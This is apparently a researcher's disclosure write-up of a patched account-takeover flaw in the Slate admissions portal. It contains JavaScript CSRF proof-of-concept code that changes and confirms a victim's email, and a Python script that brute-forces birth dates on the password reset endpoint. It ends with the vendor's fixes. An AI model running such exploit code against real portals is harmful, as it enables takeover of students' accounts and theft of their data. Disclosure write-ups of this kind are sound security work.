Hacking Harvard (and nearly every other college)

tl;dr: Chaining two CSRF attacks and brute forcing the user’s birth date (upper bound = 730 requests) allowed complete account takeover.

Technolutions Slate creates and hosts the applied and admitted student portals for nearly every college, including every ivy league school. Notable exceptions include Carnegie Mellon and the University of Maryland (among others), who roll their own solutions.

Slate's logo: the word 'slate' on a blue background

Slate's logo

And until April 9, 2018, they were vulnerable to a wicked CSRF vulnerability that could, within seconds, reset a logged-in user’s email address, and within minutes, take complete control over his or her account, allowing the attacker to withdraw college applications and steal sensitive information.

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request.

From OWASP

Step 1: Reset the user’s email

From the user’s perspective, the email reset form looks like this:

the email reset form, containing a text input for the new address

Email reset form

The form sends a POST to /account/migrate with the body parameter email2 containing the new email address. On a malicious site, the following javascript will trigger the email reset:

var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://apply.college.harvard.edu/account/migrate', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send('[email protected]');

xhr.withCredentials = true is the important part here, since it tells the browser to send along the user’s authentication cookies with the request.

Note: Technolutions were unable to reproduce this step, although my PoC code had been working the entire afternoon I had been testing this bug. I have no idea why.

To complicate matters, the user must confirm the email change by clicking on a link sent to the new email address:

the confirmation email, containing a link to complete the reset

Confirmation email

This link is long, contains a huge nonce, and looks like this:

https://mx.technolutions.net/mpss/c/rest-of-the-confirmation-nonce

Confirming from the link requires proper authentication, and so the request must be sent from the victim’s browser as well. Whether by convincing the user to visit another site, or for the first malicious page to request the confirmation link from the attacker’s server, one can apply the same technique to confirm the change:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://mx.technolutions.net/mpss/c/rest-of-the-confirmation-nonce', true);
xhr.withCredentials = true;
xhr.send(null);

By now, we’ve reset the user’s email address and confirmed the change. However, we don’t yet have access to the user’s account.

Step 2: Resetting the password

Fortunately, we’ve bound our email address to the user’s account. Unfortunately, resetting the password requires knowledge of the user’s birth date:

password reset form, which asks for email address and birth date

Password reset form

The thing is, there are only 365 days in a year, and most college applicants in a given year are born within the same two years (this year, it’s 1999 and 2000), meaning worst case, it takes 730 guesses, and on average, only 365 guesses, which is a relatively tiny search space to brute force. Clever use of birth date distributions might bring that average even lower, although I have yet to explore that possibility.

Regardless, the route /account/reset isn’t rate limited, meaning we can write a quick script to try all possible dates within a two year interval:

import requests
from datetime import date
from dateutil.rrule import rrule, DAILY
import code

RESET_URL = "https://apply.college.harvard.edu/account/reset"
SUCCESS_TEST = "A temporary PIN has been sent to your email address."
EMAIL = "[email protected]"

START_DATE = date(1999, 1, 1)
END_DATE = date(2000, 12, 31)

for dt in rrule(DAILY, dtstart=START_DATE, until=END_DATE):    
    month = dt.strftime('%m')
    day = dt.strftime('%d')
    year = dt.strftime('%Y')
   
    print(f"Trying {month}/{day}/{year}")
    r = requests.post(RESET_URL, data={
        "email": EMAIL,
        "birthdate_m": month,
        "birthdate_d": day,
        "birthdate_y": year
    })
    if SUCCESS_TEST in r.text:
        print("FOUND BIRTH DATE")
        break

With this script, I was able to find my own birth date within one minute.

Technolutions’s Response

Technolutions staff replied within hours of my email report, and had it fixed within a day. Very impressive!

Actions they took:

  • Slate now checks the referer and origin headers, and drops auth when they originate from third parties
  • There is now an extra button (with its own nonce) to confirm the email change
  • Cookies are SameSite
  • The password reset page is rate limited to prevent brute-forcing
  • Gave me some swag